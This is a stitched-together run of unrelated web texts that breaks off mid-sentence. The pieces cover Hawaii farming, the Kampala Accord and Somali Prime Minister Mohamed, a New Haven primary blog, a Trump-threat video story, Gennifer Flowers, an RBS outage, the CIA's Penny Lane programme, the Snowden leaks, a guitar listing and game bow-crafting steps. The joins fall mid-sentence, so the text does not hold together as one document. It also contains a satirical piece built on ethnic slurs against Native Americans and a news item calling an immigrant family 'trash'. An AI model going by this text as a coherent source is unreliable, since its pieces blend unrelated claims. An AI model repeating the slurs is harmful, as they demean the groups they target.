Hector Valenzuela, a crop scientist at the University of Hawaii, says the state needs to start accepting the value of small, diversified farms. “Right now small farms like Ted’s are not even on the radar of the government and large landowners. They are not even ready to see them as real farms. That has to change.” Valenzuela points to a growing body of international research, including a 2013 report by the UN, that shows how small farms and agroecologcial practices can not only feed the world, but also help promote biodiversity and reduce poverty.
Valenzuela also notes that none of the crops produced by the biotech fields goes to feed Hawaiians. The seeds are shipped off to the mainland US and South America. Meanwhile, the state imports nearly 90 percent of its food.
There’s no disputing that growing food locally is key to food security in Hawaii, which is the most remote island chain in the world. Estimates show that, in case of a disruption in shipping, the state’s inventory of fresh produce would feed people for no more than 10 days. Local food production would also bring economic gains. A Hawaii University study estimates that replacing just 10 percent of imported food with locally grown food would create about 2,300 jobs, more than what the seed industry provides now.
Many local food activists believe Hawaii’s path back to food sovereignty lies in rediscovering its traditional concept of “Aloha ‘Aina” (“love for the land”) and in relearning and building upon Indigenous natural resource management practices such as the ahpua’a system, which shared resources by dividing the islands into self-sustaining land sections that ran from the mountains to the sea. “Over here we have year-round warm weather, we have land, we have water.… We just need more farms that produce food,” says Chris Kobayashi, an organic taro farmer in Hanalei, on Kauai’s north side.
It’s not clear if Kauai’s Bill 2491 will make it through all the legal and political challenges it faces, or which side of the GMO debate will prevail in years to come. But in Hawaii, as I write this, there’s definitely a sense of optimism that a new, sustainable way of life is within reach. As Kobayashi says: “It’s going to a big fight, a very big fight, but I’m actually very excited about the possibilities of what can be done.”Wed 2 Apr 1975 - The Australian Women's Weekly (1933 - 1982)
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Line 1.0.0 In 25 years' time we'll press computer Line 1.0.1 buttons to clean our homes. We'll dial Line 1.1.0 our meals and bless science for Line 1.1.1 weight control pills. Bliss? Maybe. Line 1.2.0 But an American writer says our Line 1.2.1 private world will still be dominated Line 1.3.0 by the fear of loneliness.
Line 2.0.0 AT FIVE O'CLOCK in Line 2.0.1 the afternoon of Janu |
expenditures was also put before and approved by members of parliament, with the payment of civil service employees prioritized. In addition, a full audit of government property and vehicles is being put into place.[26]
On the war front, the new government and its AMISOM allies also managed to secure control of 60% of Mogadishu, where 80% of the capital's population at the time lived. With almost a thousand newly trained government troops on the way, set to be augmented by an additional 4000 AMISOM soldiers, the pace of territorial gains was expected to greatly accelerate.[26]
Kampala Accord [ edit ]
After months of political infighting between President Sharif Ahmed and the Speaker of Parliament Sharif Hassan over whether to hold presidential elections in August 2011, the two politicians struck a deal in Kampala on 9 June 2011 to postpone the vote for a new President and Parliament Speaker for one year in exchange for the resignation of the Premier within a period of thirty days. Overseen by the Ugandan President Yoweri Museveni and the U.N. Special Envoy to Somalia Augustine Mahiga, the signed Kampala Accord would also see the well-regarded technocratic Cabinet that Prime Minister Mohamed had assembled in November 2010 re-composed to make way for a new government. Political analysts have suggested that the agreement may have been a bid on President Sharif Ahmed's part to fend off attempts by the Speaker of Parliament Sharif Hassan to force him from power by pre-emptively "sacrificing" the Premier.[28] Sharif Hassan is also reported to harbor presidential ambitions of his own.[29]
Announcement of Prime Minister Mohamed's proposed resignation was immediately met with protests in various cities. Thousands of civilians, many government soldiers, and some legislators marched through the streets of Mogadishu, calling for the dismissal of the President, the Parliament Speaker and the Parliament.[30][31] The crowd also demanded that the Premier be reinstated and described Mohamed as the "only honest leader in recent years".[30] Posters of the UN Special Envoy were symbolically burned, with protestors appealing to the UN Secretary General to dismiss Mahiga due to what many felt was the latter's infringement on Somalia's sovereignty through his signing of the Kampala agreement.[32] Attacks on hotels in which members of parliament were staying and at least five deaths were also reported. Additional demonstrations against the Premier's resignation were held in Galkacyo, a key trading city in the north-central Mudug region, as well as in Belet Hawo in the far south.[30] Internationally, protests also reportedly took place in Cairo, Nairobi, Johannesburg, Sydney, London, Rome, Stockholm, Minneapolis, and Toronto.[32]
In response, Prime Minister Mohamed released a statement through the state-run Radio Mogadishu commending the military for its rapid response and urging its troops to exercise restraint. He also appealed to the public to calm down, and indicated that "I have seen your expressions and heard your calls[...] You are part of the decision making—what you want must be heard."[30] Additionally, in a press conference, the Premier called for the immediate release of all protestors who had been detained, and stated that his administration would launch an independent investigation into their arrest.[33] Weighing in on the demonstrations, Mogadishu's Mayor Mohamed Nur suggested that "what [the demonstrators] have a problem with is that two people go and decide the fate of this government without considering the feelings of this population", and that putting the issue before Parliament for approval was a more democratic course of action.[34]
On 11 June 2011, Prime Minister Mohamed released a statement indicating that the Kampala decision ought to be presented in Parliament for debate and appraised according to the laws stipulated in the national constitution. The Premier also stated that he would only step down if lawmakers voted to uphold the accord.[35] This was echoed by the Cabinet, which indicated in a press release that, after having convened to discuss the Kampala decision, the Ministers agreed that the accord must be put before Parliament for evaluation.[36] In addition, over 200 parliamentarians reportedly sought to urge the Prime Minister to reconvene Parliament so as to deliberate the decision, indicating in a separate statement that the accord deprived MPs of their legislative role vis-a-vis the government.[35]
On 12 June 2011, President Sharif Ahmed released a statement wherein he condemned the protests, describing them as "illegal".[36][37] He also suggested that some government officials were financing the rallies in Mogadishu, and warned that the Al-Shabaab group of Islamists that is waging war against the federal government could try to exploit the gatherings to launch terrorist attacks.[37]
The same day, news reports surfaced indicating that UN Secretary General Ban Ki-Moon would sack Special Envoy Augustine Mahiga on account of a lack of tangible progress made and public confidence in Mahiga's work in Somalia. UN sources also stated that, due to prevalent allegations of graft, the Secretary General would fire half of the senior staff in various UN bureaus, including the UNPOS, UNDP, UNICEF, WHO and OCHA.[32]
In an interview on 16 June 2011, the Undersecretary for Foreign Affairs of Italy, Alfredo Mantica, expressed support for Prime Minister Mohamed's position with regard to the Kampala agreement. Mantica stated that the Italian government believed that the accord ought to be reviewed in Parliament. He also indicated that "the prime minister has been in office five months. And [it is too] early to judge his work. But what he has done so far has been very positive. It has achieved important results. The government already seemed a miracle[...] The strength of the instability in Somalia is a constant. And the prime minister represents stability."[38]
Resignation [ edit ]
Mohamed Abdullahi Mohamed resigned from his position as Prime Minister of Somalia on 19 June 2011. Part of the controversial Kampala Accord's conditions, the agreement would also see the mandates of the President, the Parliament Speaker, and Deputies extended until August 2012, after which point new elections are to be organized. In his farewell speech, Prime Minister Mohamed indicated that he was stepping down in "the interest of the Somali people and the current situation in Somalia". He also thanked his Cabinet for its efforts in improving the security situation and the standards of governance in the country.[2]
Abdiweli Mohamed Ali, Mohamed's former Minister of Planning and International Cooperation, was appointed as Acting Premier later the same day.[39][40] A few days later, on 23 June 2011, Ali was named permanent Prime Minister.[41] Prime Minister Mohamed's resignation was immediately met with anger by the general public and many lawmakers. Apprehension regarding a possible resurgence of governmental corruption and lassitude, long-standing problems which Mohamed's administration had made significant strides toward eradicating, were cited as primary reasons for the consternation. According to one legislator, many policy-makers are trying to repeal the Kampala decision, as it also "subject[s] the country to trusteeship." Another MP indicated that "lawmakers are united in their opposition to the deal" and "will object [to] it until we throw it away".[42]
Observers suggested that Mohamed's resignation could offer the militants an opportunity to capitalize on the situation and set back the territorial gains made by his administration in the ongoing insurgency in southern Somalia. They also opined that firing the Premier would not resolve the long-standing power struggle between President Sharif Ahmed and Parliament Speaker Sharif Hassan, but may inadvertently exacerbate and prolong it. Additionally, political analysts suggested that the Kampala agreement presents other potential long-term issues, such as facilitating intervention and meddling by neighboring countries, with the Ugandan government's role as the final arbiter, in particular, cited as problematic.[43]
Responding to the Kampala decision, the Al-Shabaab insurgent group's head of policy and regions, Sheikh Hussein Ali Fidow, told reporters on 22 June 2011 that the accord ended in failure since it was "an example [of how] the country is managed by Uganda" and that "it is clear for the Somali people and the international community that [the] Kampala meeting [on] Somalia was aimed to coerce the Prime Minister Mohamed Abdullahi Mohamed to step down". In addition, the spokesman suggested that Somalia's citizenry was aware of what was going on and that it did not recognize President Sharif Ahmed and the Parliament Speaker Sharif Hassan as legitimate governmental authorities. He also reiterated his group's call for Ugandan troops to withdraw from the country.[44][45]
On 24 June 2011, lawmakers reaffirmed their opposition to and intention of repealing the Kampala decision. The Chairman of the federal Information, Public Awareness, Culture, and Heritage Committee, Awad Ahmed Ashareh, indicated that 165 legislators had tendered a motion in Parliament opposing the agreement, but the Speaker rebuffed it. Ashareh also stated that MPs would issue a vote of no confidence vis-a-vis the Speaker Hassan if he continued to refuse to permit debate to take place, suggesting that Hassan's refusal "contravenes the Charter and rules of procedure."[46]
Following talks with parliamentarians, President Sharif Ahmed asserted on 28 June 2011 that, on account of opposition amongst legislators to the Kampala decision, the accord would be brought before Parliament for deliberation. He also indicated that the agreement would not be implemented unless approved by lawmakers.[47]
After his resignation, Mohamed returned to the United States and his old position at the New York State Department of Transportation.[48]
Tayo [ edit ]
Mohamed Abdullahi Mohamed in April 2014
In early 2012, Mohamed and members of his former Cabinet established the Tayo ("Quality") political party, so named after the generally favorable reputation that his administration earned during its brief tenure. According to Mohamed, the party's primary agenda will revolve around delivering services to Somalia's general population and encouraging the repatriation of Somali diasporans so as to assist in the post-conflict reconstruction process. Since stepping down from office, Mohamed has reportedly been campaigning in various global destinations to amass support for his new party, including the United States, the United Kingdom, the Netherlands, and Sweden.[49]
2012 presidential elections [ edit ]
In early August 2012, Mohamed presented himself as a presidential candidate in Somalia's 2012 elections. He was among the various challengers that were eliminated during the first round of voting.[50]
Graduation program [ edit ]
In August 2013, Mohamed served as a keynote speaker at the Fourth Annual Ohio Somali Graduation Program in Columbus, Ohio. The event brought together hundreds of students, parents, professionals and leaders to honor the state's Somali secondary and tertiary graduates. Former Minister of Education of Somalia Hassan Ali Mire was a guest speaker, with financial scholarships awarded to the most outstanding pupils.[51]
2017 presidential elections [ edit ]
Mohamed ran for president against 19 opponents.[52] His campaign was based on nationalism, freedom from famine, and the defeat of the Islamic militant movement of Al-Shabaab.[53] The voters were limited to 275 members of parliament and 54 senators,[52] and there were widespread reports of vote-buying.[53] In a run-off, he ran against three remaining candidates, until incumbent President Hassan Sheikh Mohamud conceded.[53] As a result, Mohamed won the 2017 elections on 8 February[54] and was sworn into office on 16 February. During his inauguration, Somalia's new president called on al Shabaab fighters and other Islamist militant groups to surrender. "To those who work with al Qaeda, al Shabaab and IS (Islamic State), your time is finished," he said at the inauguration ceremony.[55]
References [ edit ]I voted this week in the New Haven Democratic Primary. For the first time in approximately one billion years, someone not named John DeStefano is going to be the Mayor of New Haven.
And I get to pick them. Sort of.
I think I picked the right guy or gal. Maybe. I honestly have no fucking idea.
This isn’t a national election. When you vote for President, you know what you’re getting. If President Obama smoked a giant spliff, I’d know about it. If Mitt Romney went on a family vacation with a dog strapped to his roof, I’d know about it. If either one of them took a dump and didn’t flush, I’d know about it and goddamnit that’s not okay.
But New Haven Mayoral Candidates? The truth is whatever somebody with the most money says it is. Maybe.
Toni Harp? Why, everybody knows she’s an experienced candidate who has served Connecticut fordecades. Or a slum lord.
Justin Elicker? He’s new blood, ready to shake things up and really challenge the status quo. Or a green rookie with no experience.
Henry Fernandez? A balanced, experience candidate with a pragmatic view of New Haven. Or a corrupt politician who took out of town money.
Kermit Carolina? The best education candidate who lives and breathes New Haven. Or a totally inexperienced manager who stands no chance at all.
The truth? Why, it’s whatever you think it is. Or whatever the push pollers say.
Get your hands off my speed limit
Local politics matter. Sure, President matters, too, but the President doesn’t decide the speed limits on your street. He doesn’t set the mill rate or decide which lots get economic development. He doesn’t address crime in your neighborhood or set regulations for local restaurants.
Yet unlike national elections, local politicians don’t get the same amount of coverage. Oh sure, the New Haven Independent and the New Haven Register cover the election. Heck, even the Hartford Courant, which can barely be bothered to notice the entire southern part of the state, covered it.
The hyper-local Independent actually did a excellent four-part series on the candidates. And the Register endorsed Fernandez in an editorial.
Yet I can’t help but wonder… with only two very local sources for news, how unbiased is the information we’re getting?
More and more as I followed the Independent’s coverage, I couldn’t help but feel they were quietly pulling for Elicker. The other candidates seemed to reap harder, more critical coverage. Elicker seemed to coast by a bit more liberally.
Or maybe it’s all in my imagination because I wasn’t sold on him.
Meanwhile, a week before the election, people were asking me who I’m voting for. Most residents I know knew little of the candidates beyond what the advertisements say. And if you could trust advertising, you’d probably already have that extra-long penis by now, wouldn’t you?
(Just kidding, but you’d totally be a real estate mogul if you just come to my free seminar, never mind why I’d share my 100% full proof plan to be rich with you.)
In the end, Toni Harp reigned supreme. With the war chest, the name recognition, the backings of the unions and the Democratic Establishment, she couldn’t be stopped. Maybe she shouldn’t be stopped.
In the end, though, I couldn’t help but feel uninformed. Even after everything I’d read, I still felt like I only had half the picture. Maybe that’s all politics are: a bunch of hearsay coming from different voices and you just have to make up your own mind about who’s lying (everybody).
Who the fuck am I voting for, again?
Then again, Mayoral candidate information is plentiful in comparison to the Alderman contests. I mean, if I lived in Ward 7 I’d vote for Doug cause I know he can throw a mean kickball, but I’m not entirely sure if that’s a good reason or not (it totally is, fuck off).
Or town clerk? Shit, there was a town clerk election? What, exactly, are the qualifications? Fast typing skills? Highly organized? Looks good in a bikini?
Well, obviously the last one. That’s always the dealbreaker with me and my town clerks.
So quit your bitching, what do you want, anyway?
Good question. I’m not entirely sure. I admired the Independent’s coverage of the election. I think they did a terrific job. The Register, while not great, at least made an effort.
The Courant couldn’t be bothered and I shouldn’t be surprised. They’ve been ignoring New Haven for years. Not sure if there’s still some sort of blood feud with Hartford/New Haven or what.
But I can’t help but feel like when it comes to local politics, surprisingly few people set the narrative for everybody. Whether it’s the Register/Independent’s editorial crew or the Unions or simply pure campaign spending, what we know about candidates in local elections comes from very, very few places.
And if someone like me, who went out of their way to read election coverage from multiple sources feels uninformed…
… what about everybody else?Want more hot BPR News stories? Sign up for our morning blast HERE
A disturbing video surfaced Monday of a girl telling her parents at the dinner table, “We’re going to kill Donald Trump.”
But the girl is reportedly only three-years old, and obviously doesn’t know who Trump is — the words were “put in her mouth” by her parents who kept encouraging her to repeat the sick statement.
The original video was picked up by Mark Dice, who reposted it on his YouTube channel after blurring out the girl’s face — something the parents didn’t bother doing.
After she made that declaration, you can hear her mother asking why he has to be killed.
“Because he’s bad,” the little girl replied.
“That’s right,” Mom agreed.
“Why is he bad,” her father asked.
“Cause he wants to take away our family” the girl answered, suggesting that the family is here illegally.
In his commentary, Dice reported that the family were Mexican nationals.
The little girl repeated the death threat directed at Trump several more times, with the encouragement of her parents.
“And this is the sort of trash Donald Trump wants deported from this country,” Dice said. “No different from Hamas, raising their children to be suicide bombers, indoctrinating them to want to kill the Jews from the time that they can speak.”
Sign up for our morning blast HERE
Clip via Mark Dice YouTube channel.Gennifer Flowers, the woman that former President Bill Clinton William (Bill) Jefferson ClintonInviting Kim Jong Un to Washington Howard Schultz must run as a Democrat for chance in 2020 Trump says he never told McCabe his wife was 'a loser' MORE had an extramarital affair with, said she would accept Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE's invitation to seat her in the front row of Monday’s presidential debate against Democratic presidential nominee Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE.
"Hi Donald. You know I'm in your corner and will definitely be at the debate!” read a tweet from what appears to be Flowers's account.
Hi Donald. You know I'm in your corner and will definitely be at the debate!... — Gennifer Flowers (@gennflowers) September 24, 2016
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In a tweet earlier Saturday, Trump, the Republican nominee, offered to bring Flowers to the debate in response to the attendance of billionaire Clinton supporter Mark Cuban. Cuban said on Thursday that he accepted an invitation from Clinton to sit in the front row at Monday’s presidential debate.
“If dopey Mark Cuban of failed Benefactor fame wants to sit in the front row, perhaps I will put Jennifer Flowers right alongside of him!” Trump initially tweeted before deleting the tweet and reposting it with the correct spelling of Flowers's first name.
Bill Clinton testified under oath in 1998 that he had a sexual affair with Flowers.
Flowers's assistant, Judy Stell, confirmed to BuzzFeed News that she would attend.
"Ms. Flowers has agreed to join Donald at the debate,” she said.WASHINGTON—Hoping to alleviate the controversy surrounding their allegedly racist name, representatives for the Washington Redskins announced Thursday that they will attempt to ease tensions with the nation’s outraged Native Americans by adding a bottle of liquor to the football team’s official logo. “We have heard the complaints from the Native American community about our logo, and we are making some key design changes so that we can at last put this matter behind us,” franchise owner Dan Snyder told reporters at a press conference in which he unveiled the newest iteration of the team’s emblem, which now features a 1.75-liter plastic jug of Black Velvet blended whiskey alongside the Redskins’ traditional Indian head profile. “After years of contentious back-and-forth over the issue, we decided to come up with a logo that at last pays fitting tribute to this country’s proud native peoples. And we believe this is that logo. You redskins like-um the firewater, right?” According to team sources, in a further attempt to mend relations with the Native American community, the Redskins have elected to donate thousands of smallpox-infested blankets to the nation’s Indian reservations.
AdvertisementFor several years after the 9/11 attacks in New York, CIA officers turned terrorists into double agents and sent them home under a covert programme, US officials say.
WASHINGTON // A few hundred metres from the administrative offices of the Guantanamo Bay prison, hidden behind a ridge covered in thick scrub and cactus, sits a closely held secret.
A dirt road winds its way to a clearing where eight small cottages sit in two rows of four. They have long been abandoned. The special detachment of marines that once provided security is gone.
But for several years after the 9/11 attacks in New York, these cottages were part of a covert CIA programme. Its secrecy has outlasted black prisons, waterboarding and rendition.
In these buildings, CIA officers turned terrorists into double agents and sent them home.
It was a risky gamble. If it worked, their agents might help the CIA find terrorist leaders to kill with drones. But officials knew there was a chance that some prisoners might quickly spurn their deal and kill Americans.
For the CIA, that was an acceptable risk in a dangerous business. For the American public, which was never told, it was one of the many secret trade-offs the government made on its behalf.
At the same time the government used the threat of terrorism to justify imprisoning people indefinitely, it was releasing dangerous people from prison to work for the CIA.
Nearly a dozen current and former US officials have described aspects of the programme. All spoke on condition of anonymity because they were not authorised to publicly discuss the secret programme, even though it ended in about 2006.
The programme and the handful of men who passed through these cottages had various official CIA code names. But those who were aware of the cluster of cottages knew it best by its sobriquet: Penny Lane.
It was a nod to the classic Beatles song and a riff on the CIA’s other secret facility at Guantanamo Bay, a prison known as Strawberry Fields.
Some of the men who passed through Penny Lane helped the CIA find and kill many top Al Qaeda operatives, said US officials. Others stopped providing useful information and the CIA lost touch with them.
When prisoners began streaming into the prison on the US naval base at Guantanamo Bay, Cuba, in January 2002, the CIA recognised it as an unprecedented opportunity to identify sources. That year, 632 detainees arrived at the island. The following year 117 more arrived.
By early 2003, Penny Lane was open for business.
Candidates were ushered from the confines of prison to Penny Lane’s relative comfort, officials said. The cottages had private kitchens, showers and televisions. Each had a small patio.
Some prisoners asked for and received pornography. One official said the biggest luxury in each cottage was the bed, not a military-issued cot but a real bed with a mattress.
The officials said dozens of prisoners were evaluated but only a handful, from varying countries, were turned into spies who signed agreements to spy for the CIA.
The US government said it confirmed that about 16 per cent of former Guantanamo Bay detainees rejoined the fight against America.
Infiltrating Al Qaeda has been one of the CIA’s most sought-after but difficult goals, something that other foreign intelligence services have only occasionally accomplished. So candidates for Penny Lane needed legitimate terrorist connections. To be valuable to the CIA, the men had to be able to reconnect with Al Qaeda.
From what the administration of the former US president, George W Bush, said about Guantanamo Bay prisoners at the time, the CIA would have seemingly had a large pool to draw from.
In reality, many were held on flimsy evidence and were of little use to the CIA.
While the agency looked for viable candidates, those with no terrorism ties sat in limbo. It would take years before the majority of detainees were set free, having never been charged.
Of the 779 people who were taken to Guantanamo Bay, more than three quarters have been released and that was mostly during the Bush administration.
Prisoners agreed to cooperate for a variety of reasons, officials said. Some received assurances that the US would resettle their families. Another thought Al Qaeda had perverted Islam and believed it was his duty as a Muslim to help the CIA destroy it.
All were promised money. Exactly how much each was paid remains unclear. But altogether, the government paid millions of dollars for their services, officials said.
The money came from a secret CIA account, code-named Pledge, that was used to pay informants, officials said.
The biggest fear, the officials involved with the programme recalled, was that a former detainee would attack Americans, then publicly announce that he had been on the CIA payroll.
Al Qaeda suspected the CIA would have attempted such a programme and its operatives have been suspicious of former Guantanamo Bay detainees, intelligence officials and experts said.
* Associated PressLONDON (Reuters) - Royal Bank of Scotland has neglected its technology for decades, the state-backed bank’s boss admitted on Tuesday after a system crash left more than 1 million customers unable to withdraw cash or pay for goods.
A man stands in front of a Royal Bank of Scotland (RBS) cash machine, in central London December 3, 2013. REUTERS/Luke MacGregor
The problem for three hours on Monday, one of the busiest online shopping days of the year, raised questions about the resilience of RBS’s technology, which analysts and banking industry sources regard as outdated and made up of a complex patchwork of systems after dozens of acquisitions.
“For decades, RBS failed to invest properly in its systems,” Ross McEwan, who became chief executive in October, said.
“Last night’s systems failure was unacceptable... I’m sorry for the inconvenience we caused our customers,” he said, adding he would outline plans in the New Year to improve the bank and increase investment.
The latest crash could cost RBS millions of pounds in compensation and follows a more serious crash in its payments system last year that Britain’s regulator is still investigating.
The regulator has been scrutinising the resilience of all banks’ technology to address concerns that outdated systems and a lack of investment could cause more crashes.
The technology glitch is another setback for the bank’s efforts to recover from the financial crisis when it had to be rescued in a taxpayer-funded bailout. The government still owns 82 percent of RBS.
RBS’s cash machines did not work from 1830-2130 GMT on Monday and customers trying to pay for goods with debit cards at supermarkets and petrol stations, buy goods online or use online or mobile banking were also unable to complete transactions.
The bank said the problem had been fixed and it would compensate anyone who had been left out of pocket as a result.
About 250,000 people an hour would typically use RBS’s cash machines on a Monday night, and tens of thousands more customers would have used the other affected parts at its RBS, NatWest and Ulster operations. RBS has 24 million customers in the UK.
Twitter lit up with customer complaints.
“RBS a joke of a bank. Card declined last night and almost 1,000 pounds vanished from balance this morning! What is going on?” tweeted David MacLeod from Edinburgh, echoing widely-felt frustration with the bank.
Some people tweeted on Tuesday they were still experiencing problems and accounts were showing incorrect balances.
RUN OF PROBLEMS
Millions of RBS customers were affected in June 2012 by problems with online banking and payments after a software upgrade went wrong.
That cost the bank 175 million pounds ($286 million) in compensation for customers and extra payments to staff after the bank opened branches for longer in response. Stephen Hester, chief executive at the time, waived his 2012 bonus following the problem. Britain’s financial watchdog is still investigating and could fine the bank.
The latest crash occurred on so-called Cyber Monday, one of the busiest days for online shopping before Christmas.
RBS said the problem was not related to volume, but gave no details on what had caused the system crash.
McEwan has vowed to improve customer service and has said technology in British banking lags behind Australia, where he previously worked. He has pledged to spend 700 million pounds in the next three years on UK branches, with much of that earmarked for improving systems.
RBS’s former CEO Fred Goodwin has been blamed for under-investing in technology and for not building robust enough systems following its takeover of NatWest in 2000.
A logo of the Royal Bank of Scotland (RBS) is reflected in the window of a branch office in London November 1, 2013. REUTERS/Luke MacGregor
Andy Haldane, director for financial stability at the Bank of England, told lawmakers last year banks needed to transform their IT because they had not invested enough during the boom years. Haldane said 70-80 percent of big banks’ IT spending was on maintaining legacy systems rather than investing in improvements.
“It appears to be another example of the lack of sufficient investment in technology by a bank that is still hurting. They are trying to do it on a shoestring, because they don’t have any extra money,” said Ralph Silva at research firm SRN.
“They need to do more, they need to allocate a greater portion of their spend to IT.”First introduced in 1963, the Double Six guitar is by far the most user friendly twelve string guitar on the market today. The 55mm nut width allows ample room for the strings to be separated for easier fingering. The strings are fitted through a specially designed bridge, specially designed to achieve perfect intonation. It has seven different pickup selections. All the same features as the standard Double Six except fitted with the 12 string Rez-o-Tube® tremolo system. Basswood body
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Original Greenburst with black pickguards or White with brown tortoiseshell pickgards Burns® Gear-o-Matik™ Gearbox
This Burns gearbox was first designed by Jim Burns in 1960 to allow fine neck setting. Coupled to the steel truss rod tensioned through the neck to a gearbox with a hefty cog and worm which provides micro adjustment. TESTIMONIAL
What a tone monster! You know, instead of trying to imitate Hank's sound for "On The Beach", "I'm the Lonely One" etc., I found myself quickly working out and playing "Go To Pieces" that wonderful Peter & Gordon recording of the beautiful Del Shannon composition. This guitar inspires a more orchestral or ballad approach a totally unexpected reaction from me. It should also help open up new vistas as I get back into composing songs after a huge gap. For sheer breadth of tone, I'm so glad I persisted in getting the baritone version of the AD6. I congratulate Barry Gibson on a wonderful musical instrument. I love it!
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Paul AndreasenBritain is to launch a parliamentary inquiry into the Guardian newspaper’s leaks by Edward Snowden as part of a broad counter-terrorism inquiry. The probe was announced hours after PM David Cameron called the leaks “dangerous” for national security.
Addressing the UK parliament Wednesday, Cameron accused the newspaper of damaging national security by publishing sensitive data provided by the former NSA contractor.
“The plain fact is that what has happened has damaged national security,” Cameron said.
Then, in a rather strained line of logic, he argued that the Guardian had admitted to threatening national security when it agreed to destroy their stored NSA files when requested to do so by UK authorities.
“The Guardian themselves admitted [to the potential risks to national security] when they agreed, when asked politely by my national security adviser and Cabinet Secretary [Sir Jeremy Heywood] to destroy the files they had, they went ahead and destroyed those files. So they know that what they are dealing with is dangerous for national security."
The Guardian revealed in August that experts from Britain's electronic intelligence agency GCHQ had supervised on July 20 the destruction of all electronic devices on which its Snowden material had been saved. Alan Rusbridger, the editor-in-chief of the Guardian, said that prior to that“a man from Whitehall”confirmed to him that if the materials were not handed over or destroyed“the government would move to close down the Guardian's reporting through a legal route – by going to court to force the surrender of the material”on which the Guardian was working.
The British daily, in an attempt to resist pressure from UK authorities who have demanded the US intelligence data be destroyed, granted the New York Times access to some of the classified National Security Agency documents.
“In a climate of intense pressure from the UK government, The Guardian decided to bring in a US partner to work on the GCHQ documents provided by Edward Snowden. We are working in partnership with The New York Times and others to continue reporting these stories,” the Guardian said in a statement in August.
Two days after the Guardian destroyed their UK-based copies of the Snowden materials, the paper’s editor Alan Rusbridger said he alerted British authorities that the New York Times and the US-based independent, investigative journalism outlet ProPublica had received copies as well.
Snowden handed over thousands of intelligence documents to the Guardian in May that revealed a vast Internet surveillance program carried out by GCHQ and its US counterpart, the National Security Agency (NSA).
The revelations pulled the rug out from under a top-secret GCHQ operation, codenamed Tempora, that is able to “tap into and store huge volumes of data drawn from fiber-optic cables for up to 30 days so that it can be sifted and analyzed,” the Guardian reported.
Cameron's comments were in response to a question by Liam Fox, the Conservative former defense secretary, who called for an inquiry, but not a full-blown criminal investigation of the Guardian’s actions: “Can we have a full and transparent assessment about whether the Guardian's involvement in the Snowden affair has damaged Britain's national security?" he asked.
Fox said it was "bizarre" that people said to have participated in a recent newspaper phone hacking scandal in Britain have been prosecuted, while other people who left the intelligence community more vulnerable were merely “opening a debate."
A number of British officials have claimed in recent days that the intelligence secrets leaked by Snowden are harmful to Britain's security.
Last week, Nick Clegg, Britain’s deputy prime minister, said the Snowden leaks had been a “gift” to terrorists, increasing their ability to launch an attack on the UK.
Andrew Parker, the newly appointed director of Britain’s MI5 domestic security service, also said Snowden’s leaked information had caused huge damage and handed “the advantage to the terrorists.”
Meanwhile, the Guardian has passionately defended its right to publish the Snowden leaks, which it began releasing in June.
Rusbridger said the Guardian was entitled to report on invasive technologies beyond anything “Orwell could have imagined."
"If you read the whole of Andrew Parker's speech it is a perfectly reasonable speech and it is what you would expect him to say,” Rusbridger told BBC Radio 4 last week. “If you are on the security side of the argument you want to keep everything secret, you don't want a debate and you don't want the press or anyone else writing about it.”
Rusbridger added, however, that “MI5 cannot be the only voice in this debate."
Following Cameron’s remarks in parliament, The Guardian reported that the Home Affairs Committee would include the newspaper’s decision to publish the leaked material in a sweeping investigation into counter-terrorism measures.
Keith Vaz, the chairman of the committee, was quoted as saying that it would investigate “elements of The Guardian’s involvement in, and publication of, the Snowden leaks” hours after the prime minister suggested a select committee might examine the issue.
The pressure facing the Guardian seems to give credence to Wikileaks founder Julian Assange’s fears for the fate of journalists who assisted the former NSA contractor in divulging top-secret information.
Assange, in an exclusive interview with RT, suggested that investigative journalism may face “extinction” due to journalists who expose abuses in the United States and elsewhere “being treated as terrorists or enemies.”Many Germans like the idea of fewer cars on the road, even if most aren't ready to give up their own.
That's one takeaway from the latest survey of German attitudes toward the environment released on Wednesday. The biannual publication by Germany's environment ministry measures the country's views on air pollution, climate change and even plastic bags - and shows how those attitudes occasionally outpace realities like politics and pocketbooks.
Yet such ambitions are an effective tool for Environment Minister Barbara Hendricks, a Social Democrat pushing her own center-left party's priorities from inside a coalition with other concerns during an |
64 or higher white 6-link bow of your choice. Maraketh is the recommended base for the additional 6% move speed, and decent attack speed.
Worth noting, in most cases it will be cheaper for you to just buy a 6L +3 bow gems these days. The major exceptions where you would want to pursue crafting are:
* SSF (you will need minimum 2 exalts to drop)
* Dual res crafting
* You specifically are looking for a Maraketh base and none are available
Method One
Original method from reddit:
Use Alterations until it is a single stat Sharpshooter’s (+2 level of Socketed Bow Gems)
Mastercraft “Cannot Roll Attack Mods” (Caterina, level 8)
Regal the bow, the only prefix available is Paragon’s (+1 level of Socketed Gems)
Did you hit Paragon’s? If not Exalt the bow
After hitting Paragon’s remove the “Cannot Roll Attack Mods” (Tora, level 7)
Mastercraft (15 to 30)% increased Damage over Time (Leo, level 3)
Exalt out the last suffixes or call it done
Method Two
Second method from reddit:
Use Alterations/Augmentations until Sharpshooter’s (+2 level of Socketed Bow Gems) with a Suffix
Regal the bow. If a suffix was hit continue, if a prefix was hit Scour and start over
Mastercraft “Cannot Roll Attack Mods” (Caterina, level 8)
Exalt the bow, you will hit Paragon’s (+1 level of Socketed Gems)
Remove the “Cannot Roll Attack Mods” (Tora, level 7)
Mastercraft (15 to 30)% increased Damage over Time (Leo, level 3)
Exalt out the last suffix or call it done
Method Three
Method Three, Serleth’s Method
This is EXPLICITLY if you want to get a dual-res bow. Otherwise, use one of the aforementioned methods.
Mastercraft Dexterity (Vagan, level 2)
Regal the bow, did you hit Sharpshooter’s (+2 level of Socketed Bow Gems)? If not Scour and start over
Remove the mastercrafted Dexterity (Tora, level 7)
Mastercraft “Can have multiple Crafted Mods” (Elreon, level 8)
Mastercraft “Cannot Roll Attack Mods” (Caterina, level 8)
Mastercraft a random suffix / random prefix so you only have one prefix slot left
Exalt the bow, you will hit Paragon’s (+1 level of Socketed Gems)
Remove the mastercrafted mods, (Tora, level 7)
Mastercraft “Can have multiple Crafted Mods” (Elreon, level 8)
Mastercraft two resistance rolls (Tora, level 5)
